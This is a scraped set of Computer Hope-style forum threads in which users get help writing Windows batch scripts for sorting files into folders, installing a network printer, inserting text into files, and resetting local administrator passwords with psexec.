
Just trying to help.

5768.

Solve : Batch file to make folders with part of file name and then copy files?

Answer»

I am a designer. I need to move files that are all present in one folder to folders that are of the file names. The files are of two formats, .PSD and .jpg. I need a batch file that will read the file name, make a folder of part of that file name and move all files that start with that file name into that folder regardless the extension.

For example, if I have 12 files named as

20.psd
20.jpg
20_low.jpg
20_mob.jpg

220.psd
220.jpg
220_low.jpg
220_mob.jpg

120.psd
120.jpg
120_low.jpg
120_mob.jpg

I need a batch file that will make folders 20, 220 and 120 and move all the respective files into the respective folders. So, files 20.psd, 20.jpg, 20_low.jpg and 20_mob.jpg will be in folder named 20 and so on. I tried various links on stackoverflow.com but i couldnt find anything that works. Please help. This is a very monotonous and time consuming job and having a simple program to do my job is useful! :-p

For this i tried these programs with the basic language that i have about dos programming and using examples from STACK OVERFLOW.

http://stackoverflow.com/questions/11441317/need-a-script-to-create-folders-based-on-file-names-and-auto-move-files
http://stackoverflow.com/questions/19992530/batch-create-folders-based-on-part-of-file-name-and-move-files-into-that-folder

Now the problem i am facing with this code is that this isnt the kind of file name i am using. Also, there is no division as such in the file name. What can i do to make this work?http://stackoverflow.com/questions/6120623/how-to-extract-number-from-string-in-batch

This should help with a little modificationsAssumes: folders do not exist already, and no identically named files will ever exist
Can remove lines starting with echo for quiet operation
Put batch script in top folder with extension .bat
Wil make folders under this

Code: [Select]@echo off
for %%F in (*.psd *.jpg) do (
for %%A in (%%F) do (
echo File found: %%A
echo Creating dir "\%%~nA"
md "%%~nA"
move "%%A" "%%~nA"
)
)
echo Finished
pause
Please ignore above. Unfortunately I did not read your requirement carefully enough. Sorry. This script creates a folder for either the full file name, or if it contains an underscore, the part before the underscore. As before, you can remove or comment out all the lines starting with echo, and if you do not want the script to wait for a keypress at the end, you can do likewise with the final "pause" command.

@echo off
setlocal enabledelayedexpansion
for %%A in (*.psd *.jpg) do (
echo file found %%A
for /f "delims=" %%B in ("%%A") do set fname=%%~nB
for /f "delims=" %%C in ("%%A") do set fextn=%%~xC
for /f "tokens=1* delims=_" %%D in ("!fname!") do set folname=%%D
echo folder name !folname!
if not exist "!folname!" (
echo Folder !folname! does not exist, creating
md "!folname!"
) else (
echo Folder !folname! exists
)
echo Moving file %%A to folder !folname!
move "%%A" "!folname!"
)
echo Finished
pause

Tested with these files in the same folder as the batch:

apple.jpg
apple.psd
bear.jpg
bear.psd
cat.jpg
cat.psd
cat_low.jpg
cat_low.psd
cat_mob.jpg
cat_mob.psd

Batch output:

file found apple.psd
folder name apple
Folder apple does not exist, creating
Moving file apple.psd to folder apple
1 file(s) moved.
file found bear.psd
folder name bear
Folder bear does not exist, creating
Moving file bear.psd to folder bear
1 file(s) moved.
file found cat.psd
folder name cat
Folder cat does not exist, creating
Moving file cat.psd to folder cat
1 file(s) moved.
file found cat_low.psd
folder name cat
Folder cat exists
Moving file cat_low.psd to folder cat
1 file(s) moved.
file found cat_mob.psd
folder name cat
Folder cat exists
Moving file cat_mob.psd to folder cat
1 file(s) moved.
file found apple.jpg
folder name apple
Folder apple exists
Moving file apple.jpg to folder apple
1 file(s) moved.
file found bear.jpg
folder name bear
Folder bear exists
Moving file bear.jpg to folder bear
1 file(s) moved.
file found cat.jpg
folder name cat
Folder cat exists
Moving file cat.jpg to folder cat
1 file(s) moved.
file found cat_low.jpg
folder name cat
Folder cat exists
Moving file cat_low.jpg to folder cat
1 file(s) moved.
file found cat_mob.jpg
folder name cat
Folder cat exists
Moving file cat_mob.jpg to folder cat
1 file(s) moved.
Finished
Press any key to continue . . .

Files after run:

\apple\apple.jpg
\apple\apple.psd
\bear\bear.jpg
\bear\bear.psd
\cat\cat.jpg
\cat\cat.psd
\cat\cat_low.jpg
\cat\cat_low.psd
\cat\cat_mob.jpg
\cat\cat_mob.psd


You don't actually need this line, but it won't do any harm:

for /f "delims=" %%C in ("%%A") do set fextn=%%~xCSalmon,

Good job, I wasn't sure that the underscore was standard. The Link I posted would go through each file name character by character and strip out only the numbers so no matter what the file name is as long as it GRAB the digits and from there he can create the directory and move the files. But if the naming convention is as simple as having a underscore after the numbers or not yours script should work perfectly.Thanks a lot everyone! I will try each of your ideas and let youll know! thanks a ton again! Youll have saved me from a lot of boring monotonous work.

@ Salmon - Just so that i can learn, can you explain the logic of how you came up with the code? And can you also explain the code to me???@ Salmon,

The batch file works like a breeze!! Thank you very much my friend! I owe you real big! If you do get the time, can you please explain how you came up with the program and the syntax bit of dos?

Thanks@Salmon

I hope you don't mind

@echo off

:: Needed because you are working with variables that are immediately called
setlocal enabledelayedexpansion

:: Start of the loop to get all files with a psd or jpg Extension
for %%A in (*.psd *.jpg) do (
echo file found %%A

:: Grabs only the file name
for /f "delims=" %%B in ("%%A") do set fname=%%~nB

:: Grabs only the extension
for /f "delims=" %%C in ("%%A") do set fextn=%%~xC

:: Using the File name it separates it into 2 part using "_" as a delimiter so 120_low becomes 120 and low
for /f "tokens=1* delims=_" %%D in ("!fname!") do set folname=%%D
echo folder name !folname!

:: Checks for the existence of the folder, if the folder does not exist it creates the folder
if not exist "!folname!" (
echo Folder !folname! does not exist, creating
md "!folname!"
) else (
echo Folder !folname! exists
)

:: Moves the file to the folder
echo Moving file %%A to folder !folname!
move "%%A" "!folname!"
)
echo Finished

It's nice and clean in comparison to what I had in mind Kudos to SalmonQuote from: erobby on November 15, 2015, 10:14:34 AM

:: Needed because you are working with variables that are immediately called
setlocal enabledelayedexpansion

erobby, a good effort. I would just add a bit more about delayed expansion. We need to enable delayed expansion because of the behaviour of variables which are both set and expanded inside a loop or other structure with brackets such as IF blocks - consider this code

setlocal enabledelayedexpansion
if %foo%==%bar% (
set var=YES
echo Var is !var!
)

If you used %var% then if it did not exist before the IF block or loop then nothing would get echoed (the variable would be empty); if it did exist you would get the previous value befor the script got to the bracket structure. For this reason we enable delayed expansion and use EXCLAMATION marks instead of percent symbols. This is because cmd.exe expands all normal percent variables before running and variables inside loops are created and changed at run time. This is something that changed from MS-DOS.

This brings me to what some may feel is a minor point (I have had arguments about this!) namely using double colons to start a comment line. This was OK in MS-DOS under command.com but it has the potential to break Windows NT family scripts running under cmd.exe. It is unofficial and unsupported. The comment line starter is REM (case-insensitive). The reason I don't like double colons is that a double colon is really just a broken label and you can't have them inside a loop. A loop or other bracket structure is really just one line to to the commmand interpreter and any label will break that. (The script will crash)


Hello

I have the same problem as the Topic Starter and Salmons solution is nearly perfect for me, except for one thing.
Some of my file names contain exclamation marks and these file can't be moved by the script.
I think the problem is "setlocal enabledelayedexpansion" but I'm new to batch scripting so I hope someone can help me solve this problem. Thanks.I didn't evaluate this at all - and it's untested. I merely simplified the code as I read it.

Code: [Select]@echo off
for %%A in (*.psd *.jpg) do (
for /f "tokens=1* delims=_" %%D in ("%%~nA") do (
md "%%D" 2>nul
echo Moving file %%A to folder %%D
move "%%A" "%%D" >nul
))
echo Finished
pause
5769.

Solve : install a TCP IP printer via batch file using cscript?

Answer»

I am trying to figure out how to install this printer via tcp ip. I looks like the .inf file is the trouble. I know nobody outside my environment can run this CODE but if you have had this error and solved it, What did you do? I have been working on this script for a few days now.
Code: [Select]cls
@echo Copying Drivers to your Computer
@echo This will take a moment
@echo ************************************
MKDIR %temp%\deploy
@echo.
xcopy /Y "\\bh-miworks-srv2\PrintDrivers\Printing_Admin_Scripts\en-US" "%temp%\deploy"
xcopy /Y "\\bh-miworks-srv2\PrintDrivers\Drivers\Ricoh MP6501\Win 10\oemsetup.inf" "%temp%\deploy"
@echo.
echo Done Copying Files




cls
@echo #######################################################################
@echo # #
@echo # *Kinexus* #
@echo # #
@echo # This will Install Ricoh color Dockside printer on your computer. #
@echo # Once you click OK, it will run. It MAY take a minute to install. #
@echo # During that time you will see no screen activity until it finishes. #
@echo # Installing Printer.... please wait #
@echo.# #
@echo #######################################################################
@echo.
cscript "%temp%\deploy\Prndrvr.vbs" -a -m "RICOH Aficio MP C6501 PCL 6" -v 2 -e "Windows NT" -if "%CD%""%temp%\deploy\oemsetup.inf" -h "%CD%""%temp%\deploy
cscript "%temp%\deploy\prnport.vbs" -a -r IP_192.168.141.20 -h 192.168.141.20 -o raw -n 9100
cscript "%temp%\deploy\Prnmngr.vbs" -ac -p "BH Dockside Color" -m "RICOH Aficio MP C6501 PCL 6" -r "IP_192.168.141.20"
@echo.
@echo.
@echo =====================================================================
@echo = =
@echo = *Kinexus* =
@ECHO = Installation of the Ricoh printer has completed! =
@echo = If you have any problems, please contact IT. =
@echo = =
@echo =====================================================================
pause
exit
After running the script I get the following error having to due with the .inf



If someone has had this error and knows how to fix it, I would appreciate any suggestions

ThanksThe script show an -if option but the screen SHOWS an -i option for the driver file. Also the driver file on the screen looks crazy. Are you showing the code for the same script?
The guy has a two page thread here: http://www.dostips.com/forum/viewtopic.php?f=3&t=7094My only question would be why is he attempting to do it this way ? ?Do you MEAN with the large number of repeating lines, or the task itself?

I reduced it to a small script some time BACK, but my code was too complex to follow as the guy is starting out in scripting.
So I didn't post it.

5770.

Solve : batch file to disable the date and time option?

Answer»

:'(batch file to DISABLED change OPTION for DATE and time the os is WINDOWS 7 64bitYou already asked this.

How to do it here:

http://www.sevenforums.com/tutorials/113557-date-time-allow-prevent-users-groups-changing.html

5771.

Solve : Password protected folder?

Answer»

Quote from: camerongray on January 26, 2016, 06:57:19 PM

I just thought that rather than giving you a low rating it would be more useful if I were to explain how you could improve it.

If you want to just learn about encryption and stuff that's great but you'd be best to avoid using it in the context of passwords and instead make a thing to encryot messages/files or something which would be both more useful and avoid the whole confusion of using the wrong methods for HANDING passwords. DaveLembke on here recently built a thing to encryot messages over in the programming section, why not try something like that?

I'd also still stand by my recommendation that you are really pushing batch to its limits and this is essentially making your job harder for no real reason. Why not try something like Python which would be more useful, easier to build cool stuff with, better supported for if you need help and makes for much easier to read code? How about you go and try some of the Python tutorial series over on https://www.codecademy.com/ and see how you get on? No harm in trying it! You clearly have potential but Batch makes it really hard to exploit it! Come think of it, when I was younger I remember playing about with batch files and thinking they were really cool but it wasn't until I moved on to Visual Basic (not that I'd USE VB nowadays!) that I realised what programming was all about and when I was able to start building much cooler stuff!

For context I volintarily help run/mentor at a weekly programming CLUB for people around your AGE. People quite often start off on Python as their first language and very quickly they are building really cool and complicated things including basic message encryption type stuff. There is also an absolute tonne of documentation and help out there for Python should you need it.

I have trouble understanding what your saying, I barely speak English, could you elaborate this please?

"you get on? No harm in trying it! You clearly have potential but Batch makes it really hard to exploit it! Come think of it, when I was younger I remember playing about with batch files and thinking they were really cool but it wasn't until I moved on to Visual Basic (not that I'd use VB nowadays!) that I realized what programming was all about and when I was able to start building much cooler stuff!"

I mean i can make out most of it but it still is confusing to me.

Also i do program python, and I think it's a very lovely and easy/powerful language, the only problem is when I try to use things like pywin32 or other addons, they never work correctly on my computer thus limiting my abilities to progress more. The reason i try to push batch is mainly because i favorite it for some reason. Maybe because the old school programming days fascinated me for some reason. I'm going to look up your very link soon because it sounds very interesting. Quote from: camerongray on January 26, 2016, 11:05:17 AM
I'm going to spend a fair bit of time here writing an explanation so I'd appreciate it if you read it in full.

I read that and it was IMMEDIATELY clear that you're a helpful person, with a good grasp of social respect - I also knew immediately that it was wasted effort.Instead of batch, Zack should use his ability with Visual Basic. By using Visual Basic you can make programs that are very good and fast. Quote from: Geek-9pm on January 27, 2016, 10:26:20 AM
Instead of batch, Zack should use his ability with Visual Basic. By using Visual Basic you can make programs that are very good and fast.

okay, im gonna do that then.
5772.

Solve : Need to Parameterise Batch File?

Answer»

Hi I have created a batch file. And using some parameters in batch file I am Reading parameter value from my notepad file.
Other-way around I have create a notepad file with name test.txt which include
Monday, April, 01
Tuesday, Nov, 08
Friday, Jan, 31
I have created a batch file which in which I will USE this values as argument.
My Batch file is something like:
@ECHO off
set Day = FOR /F "tokens=1 delims=," %G IN (D:\Framewok\test.txt) DO @echo %G
set Month = %FOR /F "tokens=2," %G IN (D:\Framewok\test.txt) DO @echo %G
set Date = %FOR /F "tokens=3," %G IN (D:\Framewok\test.txt) DO @echo %G
echo
echo Day is %Day%
echo Month is %Month%
echo date equals %Date%
pause

Here I am not able to pull any value from text file. Also do let me know if I want only some value in next row i.e. Tuesday Or Jan Or 01 only from notepad how to do this.
Can anyone let me know.

Thank you in Advance,
You MUST come from the BASH scripting world.
Code: [SELECT]@echo off
FOR /F "tokens=1-3 delims=," %%G IN (D:\Framewok\test.txt) DO (
set Day=%%G
set Month=%%H
set Date=%%I
setlocal enabledelayedexpansion
echo.
echo Day is !Day!
echo Month is !Month!
echo date equals !Date!
endlocal
)

pause

5773.

Solve : Insert the content of a text file to another text file after the pattern(batch)?

Answer»

Hi everyone!
My goal is to insert the content of a text file into another text file.
Let's say the input.txt looks like this:

Code: [Select]
<Next half add call="Questions"&GT;
<random text="A_DATA">filename.txt</random>
<random text="A_DATUM">1</random>
<random text="B_DATA">filename2.txt</random>
<random text="B_DATUM">1</random>
<random text="OFF_set">0</random>
<random text="LINE_set">0</random>
<random text="OFF_step">1</random>
<random text="LINE_step">1</random>
</Next half>

And the output.txt looks like this:

Code: [Select]<Random textXSize="0001" textYSize="002">
<Announcing of invitation principles="randomtext" number="1">
<Simple>
<Filename relative="0">###################################</Filename>
<Source>1</Source>
<Properties textXSize="0001" textYSize="002" Type="You" wordXSize="033" wordYSize="19" />
</Simple>
</Band>
</Set>


How will I insert everything from the input.txt to the output.txt after this line <Random textXSize="0001" textYSize="002">? And save the file as output.txt?

TIAThere is a chance that the text is XML files with no line breaks, and that would change the solution.

What kind of line endings are in the files?

Sorry. But what do you mean by line endings?Windows has a carriage return/linefeed pair at the end of each line.
Unix/Linux and Mac uses different systems.

XML files can be on a single line, but the editor and viewer makes them appear to be on multiple lines.

Your file is probably a Windows generated one, but the question of it being on a single line will change the solution.Instead of using this I have posted another question maybe you could check it. Thanks! It would help enormously to give you a solution, and reduce pointless threads, if you answer questions - and explain the situation properly.Quote from: _unknown_ on January 25, 2016, 08:11:56 PM

Instead of using this I have posted another question maybe you could check it. Thanks!
Foxidrive's question is still valid on your new question. You should not have started another topic.Quote from: Squashman on January 28, 2016, 11:50:06 AM
Foxidrive's question is still valid on your new question. You should not have started another topic.


Sorry i thought it was different.Perhaps this is the end of this thread.
Here is what I wanted to say.
DOS batch can be used for search and insert in a text file. But it is not the best choice. Others tools work better and are easy to use.

Is this for use by just one administrator?
Is this SOMETHING that would be done on a daily basis?
A batch file is sometimes needed for a number of users who do not have other tools available. Is that the case here?

Batch can be used with other tools Such as VBScript and Powershell.
Also, some programmers even import tools used in Unix or Linux.

Such as sed and grep.

from CH search:
About grep
grep, which stands for "global regular expression print," processes text line by line and prints any lines which match a specified pattern.
About sed
sed, short for "stream editor", allows you to filter and TRANSFORM text

Also SEE:
http://stackoverflow.com/questions/1169927/using-sed-and-grep-to-search-and-replace

There are VERSIONS of sed and grep[ that work in the windows command line.
Just trying to help.
5774.

Solve : compair files and copy them?

Answer»

I have three folders inside the folders the files have the same NAMES except for the file structure:

1 folder with .zip And 1 folder with .7zip And 1 folder with DIFFERENT folders

I really would like to get all the matching files from the .zip. So .zip is LEADING and i am looking for a batch file that will copy the files from the other folders.

Example:

Folder
aa.zip
ab.zip
ac.zip

Other folder
aa.7zip
ab.7zip
ac.7zip

Other folder

aa folder
ab folder
ac folder

I really hope this makes any sense English isn’t my FIRST language.
Quote

I have three folders inside the folders the files have the same names except for the file structure:

1 folder with .zip And 1 folder with .7zip And 1 folder with different folders
I'm a little uncertain of the task with the confusing MENTIONS of folders and files.

If you show us a listing made with the dir /b /s command then it should be clearer.
5775.

Solve : Insert filename into files in batch?

Answer»

I have numerous .vrt files with a pattern in the file name from a directory:
Code: [Select]Data2016001045000.level1_level2.newDATA_main.vrt
Data2016002055000.level1_level2.newDATA_main.vrt
and so on . . .

and the content of the files looks LIKE this:
Code: [Select] <Insert="Line 1"&GT;
<Insert="Line 2">file1.vrt</Line2>
<Insert="Line 2">1</Line2>
<Insert="Line 3">file2.vrt</Line3>
<Insert="Line 3">1</Line3>
<Another line="Line 4">0</Line4>
</Insert>

In this line, "file1.vrt" should be replaced with the file that I want to insert from another directory. The file that should be INSERTED in here should be the same as the file name above but will only differ in the last part of the file name: Data2016001045000.level1_level2.newDATA _abc.vrt.
Code: [Select] <Insert="Line 2">file1.vrt</Line2>

In this line, "file2.vrt" should be replaced with the file that I want to insert from another directory. The file that should be inserted in here should be the same as the file name above but will only differ in the last part of the file name: Data2016001045000.level1_level2.newDATA _def.vrt.
Code: [Select] <Insert="Line 3">file2.vrt</Line3>

The output should be like this:
Code: [Select] <Insert="Line 1">
<Insert="Line 2">C:\path\to\file\Data2016001045000.level1_level2.newDATA_abc.vrt</Line2>
<Insert="Line 2">1</Line2>
<Insert="Line 3">C:\path\to\file\Data2016001045000.level1_level2.newDATA_def.vrt</Line3>
<Insert="Line 3">1</Line3>
<Another line="Line 4">0</Line4>
</Insert>

That means there is an equivalent *.newDATA_abc and *.newDATA_def to be inserted in every *.newDATA_main.vrt file, . So that in every run of the batch file the newDATA_abc and newDATA_def will be included in processing the *newDATA_main.vrt files.Please stop opening new threads for the same problem. You already have at least ONE or two other threads going. I'm locking this one.

5776.

Solve : Create folder copies of files with added text at the end.?

Answer»

I want a batch file to take all of the files in a folder by dragging it into a command prompt, and then in that folder the batch file creates folder copies of all the file names in the folder that was dragged into the command prompt, but these new folders would have added "(detailed)" to it.
EX: the file "boss7_stage_lz7.nsbmd" would have a folder equivalent of "boss7_stage_lz7.nsbmd (detailed)", doing this by hand for a couple thousand files is so time consuming, anyone here good with making batch files that can help me out with this?Where is this so called (detailed) information coming from? I can't program anything unless I have a full scope of the project.OK, so I am ripping/reverse engineering/de-compiling/dis-assembling/unpacking whatever you want to call it many files from many different games and programs, etc. and when I open these files they normally contain a lot of other files.
So let us say that the file "boss5_core_lz7.nsbmd" for example when "opened" by extracting from the file gives me the following new files:
"boss5_bar"
"boss5_battery"
"boss5_core"
"boss5_freeze"
"boss5_icicle"
"boss5_lifesuppor"
"boss5_missile"
"boss5_ply_freeze"
"boss5_shutter"
"boss5_zako_a"

In this real example there are very few files, as this is one of the smallest they I deal with. Normally I just select the file name "boss5_core_lz7.nsbmd" by clicking twice slowly and then copy the name, create a new folder and paste the name and I manually type " (detailed)* [I always put a space before detailed], and then once that is done, I manually place the extracted files into the new folder. {My extracting program does not deal with what I am asking if you want to KNOW}

I use " (detailed)" because I decided it would be that and it made sense to me as it had the files contents, but it COULD be replaced by whatever people wanted it to be, but it has to be something because you cannot have a folder with the same exact name as a file, so " (detailed)" made it possible to have the folder and distinguishable from the original file with the same exact name [minus the " (detailed)" of course].

Now this at first seems very easy, but it is tedious when you have to do this for 500 files for example, manually one at a time. So that is what I want from a batch program, it is given a folder, it takes all the names of all the files in that folder, creates new folders that are the same exact number as the files and each of these new folders are named the same as the file but with the added " (detailed)".

I hope that this is clear.

Here is an image showing an example:
Part 1 -

Part 2 -
To my knowledge, one does not drag and drop files into a command prompt.
You need to express the idea in another form. Such and make shortcuts into a new folder. The shortcuts would have the full path name of each file. However, getting a batch program to use shortcuts could be a challenge.

Many administrators now use Powershell to automate file file control jobs.
http://windowsitpro.com/powershell/working-shortcuts-windows-powershell




Where did all the PamChrSkin_* files come from?Quote from: Geek-9pm on February 01, 2016, 12:40:47 PM

To my knowledge, one does not drag and drop files into a command prompt.
I have been doing drag and drop batch files for a very long time.Quote from: Squashman on February 01, 2016, 12:46:24 PM
Where did all the PamChrSkin_* files come from?

That is only a sample on about 1/8 of the files that were extracted from the shader_debug_add.ar.02 and they were placed/saved in the manually created folder shader_debug_add.ar.02 (detailed)

But I think you can see why I want a program to create all of these folders because manually creating them (I'm sorry if I have said this a lot) is very tedious and time consuming. Think that you will be able to help?What program are you using to extract the files and what is the syntax to use the program?So are you cracking games and APPS then ? ?Quote from: Squashman on February 01, 2016, 02:22:39 PM
What program are you using to extract the files and what is the syntax to use the program?
I am use many different programs for many different games and programs when I extract files from them, since there are so many I won't list them. For wat I am looking for the batch file doesn't need to interact with the program that is extracting files, it just NEEDS to create folder copies of all the files from the selected folder and their names into respective new folders with the added " (detailed)" added at the end of the folder names.

Once the program does that it is simple to just use my extracting program and extract the files into the newly created folder. [But like I said it may seem simple at first, but I have to do this with so many files, that to create folders for each one, is very time consuming]

Quote from: patio on February 01, 2016, 02:35:53 PM
So are you cracking games and apps then ? ?
Yes, I upload things to "themodelsresource" & "thesoundsresource" & "thespritesresource" & "thetexturesresource" at "theVGresource" WEBSITE. I am able to delve into the games files and code and extract things for others there, but it also provides me the opportunity to learn how all of the games work and function and how to possibly create mods for them if none exist presently. I also do this for programs, but at the moment I am focused on games.Topic Closed.Apparently this lock didn't take the 1st 2 times...
Offhand replies removed.

Now it's closed.
patio.
5777.

Solve : Authentication problem net user/psexec?

Answer»

Question.
Is the pspasswd.exe part of a third party tool kit?
Or is it an optional tool from Microsoft?
Curious minds need to know.
It's a sysinternals tool, and as Microsoft bought Sysinternals some time ago, I guess it would count as the latter.Quote from: Arotin on February 03, 2016, 05:27:51 PM

All that did was echo the command onto the command line

That's precisely the point of it.

pspassword was printing the message because there was an error in the command line, and we can't see the command line or the message that was printed to the console - so you have to figure it out by examining everything.

If it's a permissions issue: then if you right click the code you had originally and select run as administrator then it should work as it is. This is another debugging step.Quote from: foxidrive on February 03, 2016, 11:40:14 PM
That's precisely the point of it.

pspassword was printing the message because there was an error in the command line, and we can't see the command line or the message that was printed to the console - so you have to figure it out by examining everything.

If it's a permissions issue: then if you right click the code you had originally and select run as administrator then it should work as it is. This is another debugging step.

Alright thanks, ill try each step and see where its faulty.

thank you sir,Oops. [deleted]

So here is what i got so far,

I have tried taking out the -u and -p switches, and just running it on a administrator profile(which i was originally). i am testing on two machines; one is joined to DOMAIN and one is not.

the one that is not, it changes the password and i can use that password to log into the local admin just fine.
the one that is joined to domain the script will change the password and exit with error code 0, BUT when i try to login with the new password it doesnt work and the old one doesnt work either..

does that make sense? LOL

Code: [Select]@echo off

setlocal enabledelayedexpansion

for /f %%F in (C:\PCLIST.txt) do (
pstools\psexec.exe \\%%F net user Administrator NewPassword123!
if !errorlevel! NEQ 0 echo %%F >> Failed.log
)
echo complete
pause


any ideas? thanks.

PS. no im not using pspasswd its the worst creation since trump k thx.
Then you don't have elevated privelidges for the domain...just the ones who aren't.

And i don't even do batch...so i'll leave it to the experts we have.Quote from: patio on February 04, 2016, 12:13:30 PM
Then you don't have elevated privelidges for the domain...just the ones who aren't.

And i don't even do batch...so i'll leave it to the experts we have.

im running the bat as local admin account to change the local admin password. im not sure what you mean by that; so if i run the batch script as domain admin then it will use the domain admin CREDENTIALS to connect to the machine but will it change the domain password? i dont want that...I'm simply stating you may need domain credentials to make any changes to PC's in the domain...simple as that.

As i said i'm no batch expert i'll leave that to others...so i can't speak to what level changes your bat would make.Quote from: patio on February 04, 2016, 12:57:06 PM
I'm simply stating you may need domain credentials to make any changes to PC's in the domain...simple as that.
I would tend to agree with that.Quote from: Arotin on February 04, 2016, 12:08:01 PM
Code: [Select]@echo off

setlocal enabledelayedexpansion

for /f %%F in (C:\PCLIST.txt) do (
pstools\psexec.exe \\%%F net user Administrator NewPassword123!
if !errorlevel! NEQ 0 echo %%F >> Failed.log
)
echo complete
pause
Did you really try to use an exclamation in the password with delayed expansion enabled?

Pretty sure you could have just kept delayed expansion off and did this instead.

Code: [Select]if errorlevel 1 echo %%F >> Failed.logQuote from: Squashman on February 04, 2016, 01:52:33 PM
Did you really try to use an exclamation in the password with delayed expansion enabled?

Pretty sure you could have just kept delayed expansion off and did this instead.

Code: [Select]if errorlevel 1 echo %%F >> Failed.log

okay so should i take off delayed expansion and try running the batch with domian admin credentials? but as long as i do not specify the domain in the script then it wont modify the domain account correct? i only want to change the local admin password.

and as far as the errorcode, why is mine incorrect lol. there could be more error codes besides "1" .


Quote
okay so should i take off delayed expansion and try running the batch with domian admin credentials? but as long as i do not specify the domain in the script then it wont modify the domain account correct? i only want to change the local admin password.

This is why you need to have a test PC...select 1 in the domain to test the code...but i'd fix the GLITCHES 1st...Quote from: patio on February 04, 2016, 02:07:17 PM
This is why you need to have a test PC...select 1 in the domain to test the code...but i'd fix the glitches 1st...

i have 3 test PCs. 2 are the ones receiving and one is for running the bat file, yeah im going to make some changes and report back with results.


thanks.
5778.

Solve : Set a multiline variable in batch?

Answer»

On last time. Don't put multiple;e lines into a variable.
It is FORBIDDEN, not allowed, senseless, worthless and futile.

It is like trying to brush your teeth with hand soap.

Stop with the lines in a variable .
Tell us what your really need to do.

Putting lines into a variable is not what real men do. do.
Go read a book. Or get a tutor.

Quote from: Geek-9pm on February 02, 2016, 10:55:27 PM

On last time. Don't put multiple;e lines into a variable.
It is forbidden, not allowed, senseless, worthless and futile.

It is like trying to brush your teeth with hand soap.

Stop with the lines in a variable and we will tell you how to do what your want to do/.
Putting lines into a variable is not what real men do. do.
Go read a book. Or get a tutor.

Well im not the one who asked for this, and i didn't really put multiple lines in a variable, just called the "echo." command and turned it into a variable. and added after some regular code, just trying to help. im not a big fan of the whole multi lined variable thing myself. kinda is nonsense really. im sure in some very rare case it could be useful but still it's not like it's the most biggest breakthrough in computer programming ever, and even it did have a purpose, what are the odds and why would it even be that important? multi lined variables are for people who are to lazy to either copy and paste the code or edit it them self's. so i'm with you on this one.

almost 5 pages too, patio, i think your a wizard. Quote from: Geek-9pm on February 02, 2016, 10:55:27 PM
On last time. Don't put multiple;e lines into a variable.
It is forbidden, not allowed, senseless, worthless and futile.

It is like trying to brush your teeth with hand soap.

Stop with the lines in a variable .
Tell us what your really need to do.

Putting lines into a variable is not what real men do. do.
Go read a book. Or get a tutor.
Wait, what? I'm not a batch developer but I know that in literally any language I've seen it's totally normal to have multiple lines in a variable, all a new line is is a special character. Your forum post has multiple lines in it and I'd hazard a guess that at some point in the rendering of this page the body of your post is loaded into a single variable in the backend of this forum.

Quote from: zask on February 02, 2016, 10:59:39 PM
multi lined variables are for people who are to lazy to either copy and paste the code or edit it them self's. so i'm with you on this one.
They are for people who need to handle strings that contain multiple lines. In the initial question for example they wanted to replace a single line in the input with multiple lines, this is totally standard practice in many programs. Being lazy doesn't COME into it at all, besides, in fact, copying and pasting code is generally seen as the lazy way to do things - https://en.wikipedia.org/wiki/Copy_and_paste_programmingCode: [Select]@echo off
set "src=C:\path\to\source\files"
set "dst=C:\path\to\destination\files"
pushd "%src%"

for /f "delims=" %%a in ('dir /b /a-d "*.vrt" ') do (
echo Processing "%%a"
set "stop="
(
for /f "usebackq delims=" %%b in ("%%a") do (
echo(%%b
if not defined stop type "file2.vrt" & echo(
set stop=are-we-there-yet?
)
)>"%dst%\%%a.tmp"
move /y "%dst%\%%a.tmp" "%dst%\%%a" >nul
)
echo done
pause

A file should now be created for each VRT file. The redirection to the file was at the wrong level of parentheses and the move command is necessary again.

Test it on sample files first.Quote from: camerongray on February 03, 2016, 03:46:50 AM
Wait, what? I'm not a batch developer but I know that in literally any language I've seen it's totally normal to have multiple lines in a variable

It's not normal in batch scripts though. Quote from: foxidrive on February 03, 2016, 04:33:39 AM
It's not normal in batch scripts though.
Right. Here is the fundamental way the command interpreter works:
command p1 p2 p3 ...
Batch script is for a shell tool, console e utility. One line is a full expression. INTERACTIVE work from the a console would not not normally expect multiple Lines.
Also, spaces are the DEFAULT delimiter.
A batch file is not a word processor, not a database or a universal toolkit.
And yes, one could brush his teeth with hand soap. But why would he?
I am outhitting the THREAD. Really. I am rolling my eyes. Quote from: camerongray on February 03, 2016, 03:46:50 AM
Wait, what? I'm not a batch developer but I know that in literally any language I've seen it's totally normal to have multiple lines in a variable, all a new line is is a special character. Your forum post has multiple lines in it and I'd hazard a guess that at some point in the rendering of this page the body of your post is loaded into a single variable in the backend of this forum.
They are for people who need to handle strings that contain multiple lines. In the initial question for example they wanted to replace a single line in the input with multiple lines, this is totally standard practice in many programs. Being lazy doesn't come into it at all, besides, in fact, copying and pasting code is generally seen as the lazy way to do things - https://en.wikipedia.org/wiki/Copy_and_paste_programming

Yeah, but i think it's different in batch, mainly because it was never really intended for multi lined variables, when i was talking about copy and pasting the code i was referring to pasting a code that he had already made into another file and edit it himself, instead of putting in a variable. Yeah there is a lot of languages that can do it, but it's not a good practice in batch, and there are a lot of reasons why its not such a good idea. One good reason why is the example that Geek-9pm posted above, luckily the method i posted doesn't actually create a multi lined, but mimics it's technique with single lines instead. But still, in batch i hardly find a point for this . it does nothing but make your code even more difficult to comprehend / more difficult add edits for later use / and just plane up wastes bites in your file. if you wanted to use the command for later use just copy and paste it again, what ever you wanted to change in the text, just change it with regular variables. If you needed to completely store multiple lines of code, just send it to a file and call it inside the batch file. Notice now Geek-9pm states that "it's like brushing your teeth with soap"...? It is possible but there just isn't any point because it makes things more difficult. now more powerful languages like C++ is fine, but batch can only go so far.Quote from: foxidrive on February 03, 2016, 04:26:22 AM
Code: [Select]@echo off
set "src=C:\path\to\source\files"
set "dst=C:\path\to\destination\files"
pushd "%src%"

for /f "delims=" %%a in ('dir /b /a-d "*.vrt" ') do (
echo Processing "%%a"
set "stop="
(
for /f "usebackq delims=" %%b in ("%%a") do (
echo(%%b
if not defined stop type "file2.vrt" & echo(
set stop=are-we-there-yet?
)
)>"%dst%\%%a.tmp"
move /y "%dst%\%%a.tmp" "%dst%\%%a" >nul
)
echo done
pause

A file should now be created for each VRT file. The redirection to the file was at the wrong level of parentheses and the move command is necessary again.

Test it on sample files first.

Thanks!
5779.

Solve : Copy the filename of a file and replace the strings inside the same file-batch?

Answer»

I have a folder with numerous files wherein I want to copy the file name of the file and want to replace strings inside that same file with the file name copied but the last 4 character should be changed. *This isn't the same with the previous post.

I have this files with this file name:
CODE: [Select]Data2016001045000.level1_level2.newDATA_main.vrt
Data2016002055000.level1_level2.newDATA_main.vrt
